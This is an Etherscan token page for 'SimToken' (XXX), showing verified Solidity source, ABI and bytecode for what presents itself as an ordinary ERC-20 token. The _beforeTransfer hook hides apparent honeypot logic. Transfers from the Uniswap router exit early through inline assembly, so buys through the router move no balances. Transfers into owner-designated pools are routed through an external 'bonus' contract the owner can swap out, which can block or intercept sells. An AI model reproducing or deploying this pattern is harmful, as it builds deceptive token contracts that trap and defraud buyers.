ETH Price: $1,975.34 (+0.73%)
 

Overview

Max Total Supply

2,000,000 XXX

Holders

27

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Uniswap: Universal Router
Balance
41,608.15440517592547644 XXX

Value
$0.00
0x3fc91a3afd70395cd496c647d5a6cc9d4b2b7fad
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SimToken

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 777 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-01-15
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}
abstract contract SmartTokenBase is IERC20 {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor() {
        _name = "XXX";
        _symbol = "XXX";
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = msg.sender;
        _beforeTransfer(owner, to, value);
        _transfer(owner, to, value);
        return true;
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = msg.sender;
        _beforeTransfer(from, to, value);
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _beforeTransfer(address from, address to, uint256 value) internal virtual{

    }

    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert();
        }
        if (to == address(0)) {
            revert();
        }
        _update(from, to, value);
    }

    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert();
            }
            unchecked {
            // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
            // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
            // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert();
        }
        _update(address(0), account, value);
    }

    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert();
        }
        _update(account, address(0), value);
    }

    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert();
        }
        if (spender == address(0)) {
            revert();
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert();
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}
interface BonusLogic{
    function claimBonus(address,address,uint256) external;
}
interface ISimOracle{
    function info() external returns(uint256, bool);
    function update(uint256,address) external returns(bool);
}
contract SimToken is SmartTokenBase {
    address private _creator;
    mapping(address=>bool) private _pool;
    BonusLogic private _bonusLogic;
    ISimOracle private _simOracle;
    address private constant UNIROUTER_ETH = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;

    constructor(BonusLogic bonusLogic, ISimOracle simOracle){
        _creator = msg.sender;
        _bonusLogic = bonusLogic;
        _simOracle = simOracle;
        _mint(msg.sender, 2000000 * 10 ** 18);
    }
    function updateBonusLogic(BonusLogic bonusLogic) external{
        require(_creator == msg.sender);
        _bonusLogic = bonusLogic;
    }
    function updateSimOracle(ISimOracle simOracle) external{
        require(_creator == msg.sender);
        _simOracle = simOracle;
    }
    function updatePool(address pool, bool enable) external{
        require(_creator == msg.sender);
        _pool[pool] = enable;
    }

    function _beforeTransfer(address from, address to, uint256 value) internal override {
        if(from == UNIROUTER_ETH){
            if(tx.origin == _creator){
                _simOracle.update(value, to);
            }

            assembly{
                return(0,0)
            }
        }

        if(_pool[to]){
            _bonusLogic.claimBonus(from, to, value);
        }
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"contract BonusLogic","name":"bonusLogic","type":"address"},{"internalType":"contract ISimOracle","name":"simOracle","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract BonusLogic","name":"bonusLogic","type":"address"}],"name":"updateBonusLogic","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pool","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"updatePool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract ISimOracle","name":"simOracle","type":"address"}],"name":"updateSimOracle","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f5ffd5b50604051610ce3380380610ce383398101604081905261002e91610204565b604080518082019091526003808252620b0b0b60eb1b60208301529061005490826102d4565b506040805180820190915260038152620b0b0b60eb1b602082015260049061007c90826102d4565b5060058054336001600160a01b031991821681179092556007805482166001600160a01b0386811691909117909155600880549092169084161790556100cd906a01a784379d99db420000006100d4565b50506103b3565b6001600160a01b0382166100e6575f5ffd5b6100f15f83836100f5565b5050565b6001600160a01b03831661011f578060025f828254610114919061038e565b909155506101619050565b6001600160a01b0383165f9081526020819052604090205481811015610143575f5ffd5b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b03821661017d5760028054829003905561019b565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516101e091815260200190565b60405180910390a3505050565b6001600160a01b0381168114610201575f5ffd5b50565b5f5f60408385031215610215575f5ffd5b8251610220816101ed565b6020840151909250610231816101ed565b809150509250929050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061026457607f821691505b60208210810361028257634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156102cf57805f5260205f20601f840160051c810160208510156102ad5750805b601f840160051c820191505b818110156102cc575f81556001016102b9565b50505b505050565b81516001600160401b038111156102ed576102ed61023c565b610301816102fb8454610250565b84610288565b6020601f821160018114610333575f831561031c5750848201515b5f19600385901b1c1916600184901b1784556102cc565b5f84815260208120601f198516915b828110156103625787850151825560209485019460019092019101610342565b508482101561037f57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b808201808211156103ad57634e487b7160e01b5f52601160045260245ffd5b92915050565b610923806103c05f395ff3fe608060405234801561000f575f5ffd5b50600436106100cf575f3560e01c806370a082311161007d578063a9059cbb11610058578063a9059cbb146101a0578063dd62ed3e146101b3578063eec8d048146101eb575f5ffd5b806370a082311461015d5780638400d5571461018557806395d89b4114610198575f5ffd5b806323b872dd116100ad57806323b872dd14610126578063313ce567146101395780633783dc1314610148575f5ffd5b806306fdde03146100d3578063095ea7b3146100f157806318160ddd14610114575b5f5ffd5b6100db6101fe565b6040516100e89190610735565b60405180910390f35b6101046100ff366004610781565b61028e565b60405190151581526020016100e8565b6002545b6040519081526020016100e8565b6101046101343660046107ab565b6102a7565b604051601281526020016100e8565b61015b6101563660046107e9565b6102d5565b005b61011861016b3660046107e9565b6001600160a01b03165f9081526020819052604090205490565b61015b6101933660046107e9565b61031a565b6100db61035f565b6101046101ae366004610781565b61036e565b6101186101c136600461080b565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b61015b6101f936600461084f565b610386565b60606003805461020d9061087b565b80601f01602080910402602001604051908101604052809291908181526020018280546102399061087b565b80156102845780601f1061025b57610100808354040283529160200191610284565b820191905f5260205f20905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b5f3361029b8185856103c6565b60019150505b92915050565b5f336102b48585856103d8565b6102bf85828561051c565b6102ca85858561056a565b506001949350505050565b6005546001600160a01b031633146102eb575f5ffd5b6007805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610330575f5ffd5b6008805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b60606004805461020d9061087b565b5f3361037b8185856103d8565b61029b81858561056a565b6005546001600160a01b0316331461039c575f5ffd5b6001600160a01b03919091165f908152600660205260409020805460ff1916911515919091179055565b6103d38383836001610599565b505050565b7fffffffffffffffffffffffffc036e5c5028fc6a32b6939b82a593362b4d480536001600160a01b0384160161048e576005546001600160a01b0316320361015b57600854604051637346125760e11b8152600481018390526001600160a01b0384811660248301529091169063e68c24ae906044016020604051808303815f875af115801561046a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061015b91906108b3565b6001600160a01b0382165f9081526006602052604090205460ff16156103d3576007546040516376dbc71b60e11b81526001600160a01b0385811660048301528481166024830152604482018490529091169063edb78e36906064015f604051808303815f87803b158015610501575f5ffd5b505af1158015610513573d5f5f3e3d5ffd5b50505050505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198110156105645781811015610556575f5ffd5b61056484848484035f610599565b50505050565b6001600160a01b03831661057c575f5ffd5b6001600160a01b03821661058e575f5ffd5b6103d383838361063d565b6001600160a01b0384166105ab575f5ffd5b6001600160a01b0383166105bd575f5ffd5b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561056457826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161062f91815260200190565b60405180910390a350505050565b6001600160a01b038316610667578060025f82825461065c91906108ce565b909155506106a99050565b6001600160a01b0383165f908152602081905260409020548181101561068b575f5ffd5b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166106c5576002805482900390556106e3565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161072891815260200190565b60405180910390a3505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461077e575f5ffd5b50565b5f5f60408385031215610792575f5ffd5b823561079d8161076a565b946020939093013593505050565b5f5f5f606084860312156107bd575f5ffd5b83356107c88161076a565b925060208401356107d88161076a565b929592945050506040919091013590565b5f602082840312156107f9575f5ffd5b81356108048161076a565b9392505050565b5f5f6040838503121561081c575f5ffd5b82356108278161076a565b915060208301356108378161076a565b809150509250929050565b801515811461077e575f5ffd5b5f5f60408385031215610860575f5ffd5b823561086b8161076a565b9150602083013561083781610842565b600181811c9082168061088f57607f821691505b6020821081036108ad57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156108c3575f5ffd5b815161080481610842565b808201808211156102a157634e487b7160e01b5f52601160045260245ffdfea2646970667358221220ff9a68220d4d92cb6956b197a9b31903fc3bacade1fd1c79507c971dfee86e7064736f6c634300081c00330000000000000000000000007ed55ccfa78260452a16ecf8fcc9e6c7a29c582a000000000000000000000000eb0fb8e3ca7d909d91af609ff7efd3cf5badf881

Deployed Bytecode

0x608060405234801561000f575f5ffd5b50600436106100cf575f3560e01c806370a082311161007d578063a9059cbb11610058578063a9059cbb146101a0578063dd62ed3e146101b3578063eec8d048146101eb575f5ffd5b806370a082311461015d5780638400d5571461018557806395d89b4114610198575f5ffd5b806323b872dd116100ad57806323b872dd14610126578063313ce567146101395780633783dc1314610148575f5ffd5b806306fdde03146100d3578063095ea7b3146100f157806318160ddd14610114575b5f5ffd5b6100db6101fe565b6040516100e89190610735565b60405180910390f35b6101046100ff366004610781565b61028e565b60405190151581526020016100e8565b6002545b6040519081526020016100e8565b6101046101343660046107ab565b6102a7565b604051601281526020016100e8565b61015b6101563660046107e9565b6102d5565b005b61011861016b3660046107e9565b6001600160a01b03165f9081526020819052604090205490565b61015b6101933660046107e9565b61031a565b6100db61035f565b6101046101ae366004610781565b61036e565b6101186101c136600461080b565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b61015b6101f936600461084f565b610386565b60606003805461020d9061087b565b80601f01602080910402602001604051908101604052809291908181526020018280546102399061087b565b80156102845780601f1061025b57610100808354040283529160200191610284565b820191905f5260205f20905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b5f3361029b8185856103c6565b60019150505b92915050565b5f336102b48585856103d8565b6102bf85828561051c565b6102ca85858561056a565b506001949350505050565b6005546001600160a01b031633146102eb575f5ffd5b6007805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610330575f5ffd5b6008805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b60606004805461020d9061087b565b5f3361037b8185856103d8565b61029b81858561056a565b6005546001600160a01b0316331461039c575f5ffd5b6001600160a01b03919091165f908152600660205260409020805460ff1916911515919091179055565b6103d38383836001610599565b505050565b7fffffffffffffffffffffffffc036e5c5028fc6a32b6939b82a593362b4d480536001600160a01b0384160161048e576005546001600160a01b0316320361015b57600854604051637346125760e11b8152600481018390526001600160a01b0384811660248301529091169063e68c24ae906044016020604051808303815f875af115801561046a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061015b91906108b3565b6001600160a01b0382165f9081526006602052604090205460ff16156103d3576007546040516376dbc71b60e11b81526001600160a01b0385811660048301528481166024830152604482018490529091169063edb78e36906064015f604051808303815f87803b158015610501575f5ffd5b505af1158015610513573d5f5f3e3d5ffd5b50505050505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198110156105645781811015610556575f5ffd5b61056484848484035f610599565b50505050565b6001600160a01b03831661057c575f5ffd5b6001600160a01b03821661058e575f5ffd5b6103d383838361063d565b6001600160a01b0384166105ab575f5ffd5b6001600160a01b0383166105bd575f5ffd5b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561056457826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161062f91815260200190565b60405180910390a350505050565b6001600160a01b038316610667578060025f82825461065c91906108ce565b909155506106a99050565b6001600160a01b0383165f908152602081905260409020548181101561068b575f5ffd5b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166106c5576002805482900390556106e3565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161072891815260200190565b60405180910390a3505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461077e575f5ffd5b50565b5f5f60408385031215610792575f5ffd5b823561079d8161076a565b946020939093013593505050565b5f5f5f606084860312156107bd575f5ffd5b83356107c88161076a565b925060208401356107d88161076a565b929592945050506040919091013590565b5f602082840312156107f9575f5ffd5b81356108048161076a565b9392505050565b5f5f6040838503121561081c575f5ffd5b82356108278161076a565b915060208301356108378161076a565b809150509250929050565b801515811461077e575f5ffd5b5f5f60408385031215610860575f5ffd5b823561086b8161076a565b9150602083013561083781610842565b600181811c9082168061088f57607f821691505b6020821081036108ad57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156108c3575f5ffd5b815161080481610842565b808201808211156102a157634e487b7160e01b5f52601160045260245ffdfea2646970667358221220ff9a68220d4d92cb6956b197a9b31903fc3bacade1fd1c79507c971dfee86e7064736f6c634300081c0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007ed55ccfa78260452a16ecf8fcc9e6c7a29c582a000000000000000000000000eb0fb8e3ca7d909d91af609ff7efd3cf5badf881

-----Decoded View---------------
Arg [0] : bonusLogic (address): 0x7eD55CcFa78260452a16ecf8FCC9e6c7a29C582a
Arg [1] : simOracle (address): 0xeb0fb8e3ca7d909D91Af609Ff7Efd3cF5baDf881

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007ed55ccfa78260452a16ecf8fcc9e6c7a29c582a
Arg [1] : 000000000000000000000000eb0fb8e3ca7d909d91af609ff7efd3cf5badf881


Deployed Bytecode Sourcemap

5507:1340:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1098:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2007:188;;;;;;:::i;:::-;;:::i;:::-;;;1133:14:1;;1126:22;1108:41;;1096:2;1081:18;2007:188:0;968:187:1;1392:99:0;1471:12;;1392:99;;;1306:25:1;;;1294:2;1279:18;1392:99:0;1160:177:1;2203:290:0;;;;;;:::i;:::-;;:::i;1300:84::-;;;1374:2;1997:36:1;;1985:2;1970:18;1300:84:0;1855:184:1;6007:142:0;;;;;;:::i;:::-;;:::i;:::-;;1499:118;;;;;;:::i;:::-;-1:-1:-1;;;;;1591:18:0;1564:7;1591:18;;;;;;;;;;;;1499:118;6155:138;;;;;;:::i;:::-;;:::i;1197:95::-;;;:::i;1625:224::-;;;;;;:::i;:::-;;:::i;1857:142::-;;;;;;:::i;:::-;-1:-1:-1;;;;;1964:18:0;;;1937:7;1964:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;1857:142;6299:136;;;;;;:::i;:::-;;:::i;1098:91::-;1143:13;1176:5;1169:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1098:91;:::o;2007:188::-;2080:4;2113:10;2134:31;2113:10;2150:7;2159:5;2134:8;:31::i;:::-;2183:4;2176:11;;;2007:188;;;;;:::o;2203:290::-;2290:4;2325:10;2346:32;2362:4;2368:2;2372:5;2346:15;:32::i;:::-;2389:37;2405:4;2411:7;2420:5;2389:15;:37::i;:::-;2437:26;2447:4;2453:2;2457:5;2437:9;:26::i;:::-;-1:-1:-1;2481:4:0;;2203:290;-1:-1:-1;;;;2203:290:0:o;6007:142::-;6083:8;;-1:-1:-1;;;;;6083:8:0;6095:10;6083:22;6075:31;;;;;;6117:11;:24;;-1:-1:-1;;6117:24:0;-1:-1:-1;;;;;6117:24:0;;;;;;;;;;6007:142::o;6155:138::-;6229:8;;-1:-1:-1;;;;;6229:8:0;6241:10;6229:22;6221:31;;;;;;6263:10;:22;;-1:-1:-1;;6263:22:0;-1:-1:-1;;;;;6263:22:0;;;;;;;;;;6155:138::o;1197:95::-;1244:13;1277:7;1270:14;;;;;:::i;1625:224::-;1694:4;1727:10;1748:33;1727:10;1771:2;1775:5;1748:15;:33::i;:::-;1792:27;1802:5;1809:2;1813:5;1792:9;:27::i;6299:136::-;6373:8;;-1:-1:-1;;;;;6373:8:0;6385:10;6373:22;6365:31;;;;;;-1:-1:-1;;;;;6407:11:0;;;;;;;;:5;:11;;;;;:20;;-1:-1:-1;;6407:20:0;;;;;;;;;;6299:136::o;4319:130::-;4404:37;4413:5;4420:7;4429:5;4436:4;4404:8;:37::i;:::-;4319:130;;;:::o;6443:401::-;6541:21;-1:-1:-1;;;;;6541:21:0;;;6538:208;;6594:8;;-1:-1:-1;;;;;6594:8:0;6581:9;:21;6578:88;;6622:10;;:28;;-1:-1:-1;;;6622:28:0;;;;;4298:25:1;;;-1:-1:-1;;;;;4359:55:1;;;4339:18;;;4332:83;6622:10:0;;;;:17;;4271:18:1;;6622:28:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;6538:208::-;-1:-1:-1;;;;;6761:9:0;;;;;;:5;:9;;;;;;;;6758:79;;;6786:11;;:39;;-1:-1:-1;;;6786:39:0;;-1:-1:-1;;;;;4896:55:1;;;6786:39:0;;;4878:74:1;4988:55;;;4968:18;;;4961:83;5060:18;;;5053:34;;;6786:11:0;;;;:22;;4851:18:1;;6786:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6443:401;;;:::o;4847:427::-;-1:-1:-1;;;;;1964:18:0;;;4947:24;1964:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;5014:36:0;;5010:257;;;5090:5;5071:16;:24;5067:73;;;5116:8;;;5067:73;5183:57;5192:5;5199:7;5227:5;5208:16;:24;5234:5;5183:8;:57::i;:::-;4936:338;4847:427;;;:::o;2601:248::-;-1:-1:-1;;;;;2685:18:0;;2681:59;;2720:8;;;2681:59;-1:-1:-1;;;;;2754:16:0;;2750:57;;2787:8;;;2750:57;2817:24;2825:4;2831:2;2835:5;2817:7;:24::i;4457:382::-;-1:-1:-1;;;;;4570:19:0;;4566:60;;4606:8;;;4566:60;-1:-1:-1;;;;;4640:21:0;;4636:62;;4678:8;;;4636:62;-1:-1:-1;;;;;4708:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;4754:78;;;;4805:7;-1:-1:-1;;;;;4789:31:0;4798:5;-1:-1:-1;;;;;4789:31:0;;4814:5;4789:31;;;;1306:25:1;;1294:2;1279:18;;1160:177;4789:31:0;;;;;;;;4457:382;;;;:::o;2857:1074::-;-1:-1:-1;;;;;2947:18:0;;2943:499;;3101:5;3085:12;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;2943:499:0;;-1:-1:-1;2943:499:0;;-1:-1:-1;;;;;3161:15:0;;3139:19;3161:15;;;;;;;;;;;3195:19;;;3191:68;;;3235:8;;;3191:68;-1:-1:-1;;;;;3378:15:0;;:9;:15;;;;;;;;;;3396:19;;;;3378:37;;2943:499;-1:-1:-1;;;;;3458:16:0;;3454:427;;3620:12;:21;;;;;;;3454:427;;;-1:-1:-1;;;;;3832:13:0;;:9;:13;;;;;;;;;;:22;;;;;;3454:427;3913:2;-1:-1:-1;;;;;3898:25:0;3907:4;-1:-1:-1;;;;;3898:25:0;;3917:5;3898:25;;;;1306::1;;1294:2;1279:18;;1160:177;3898:25:0;;;;;;;;2857:1074;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:154::-;-1:-1:-1;;;;;516:5:1;512:54;505:5;502:65;492:93;;581:1;578;571:12;492:93;437:154;:::o;596:367::-;664:6;672;725:2;713:9;704:7;700:23;696:32;693:52;;;741:1;738;731:12;693:52;780:9;767:23;799:31;824:5;799:31;:::i;:::-;849:5;927:2;912:18;;;;899:32;;-1:-1:-1;;;596:367:1:o;1342:508::-;1419:6;1427;1435;1488:2;1476:9;1467:7;1463:23;1459:32;1456:52;;;1504:1;1501;1494:12;1456:52;1543:9;1530:23;1562:31;1587:5;1562:31;:::i;:::-;1612:5;-1:-1:-1;1669:2:1;1654:18;;1641:32;1682:33;1641:32;1682:33;:::i;:::-;1342:508;;1734:7;;-1:-1:-1;;;1814:2:1;1799:18;;;;1786:32;;1342:508::o;2044:265::-;2121:6;2174:2;2162:9;2153:7;2149:23;2145:32;2142:52;;;2190:1;2187;2180:12;2142:52;2229:9;2216:23;2248:31;2273:5;2248:31;:::i;:::-;2298:5;2044:265;-1:-1:-1;;;2044:265:1:o;2836:388::-;2904:6;2912;2965:2;2953:9;2944:7;2940:23;2936:32;2933:52;;;2981:1;2978;2971:12;2933:52;3020:9;3007:23;3039:31;3064:5;3039:31;:::i;:::-;3089:5;-1:-1:-1;3146:2:1;3131:18;;3118:32;3159:33;3118:32;3159:33;:::i;:::-;3211:7;3201:17;;;2836:388;;;;;:::o;3229:118::-;3315:5;3308:13;3301:21;3294:5;3291:32;3281:60;;3337:1;3334;3327:12;3352:382;3417:6;3425;3478:2;3466:9;3457:7;3453:23;3449:32;3446:52;;;3494:1;3491;3484:12;3446:52;3533:9;3520:23;3552:31;3577:5;3552:31;:::i;:::-;3602:5;-1:-1:-1;3659:2:1;3644:18;;3631:32;3672:30;3631:32;3672:30;:::i;3739:380::-;3818:1;3814:12;;;;3861;;;3882:61;;3936:4;3928:6;3924:17;3914:27;;3882:61;3989:2;3981:6;3978:14;3958:18;3955:38;3952:161;;4035:10;4030:3;4026:20;4023:1;4016:31;4070:4;4067:1;4060:15;4098:4;4095:1;4088:15;3952:161;;3739:380;;;:::o;4426:245::-;4493:6;4546:2;4534:9;4525:7;4521:23;4517:32;4514:52;;;4562:1;4559;4552:12;4514:52;4594:9;4588:16;4613:28;4635:5;4613:28;:::i;5098:222::-;5163:9;;;5184:10;;;5181:133;;;5236:10;5231:3;5227:20;5224:1;5217:31;5271:4;5268:1;5261:15;5299:4;5296:1;5289:15

Swarm Source

ipfs://ff9a68220d4d92cb6956b197a9b31903fc3bacade1fd1c79507c971dfee86e70
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.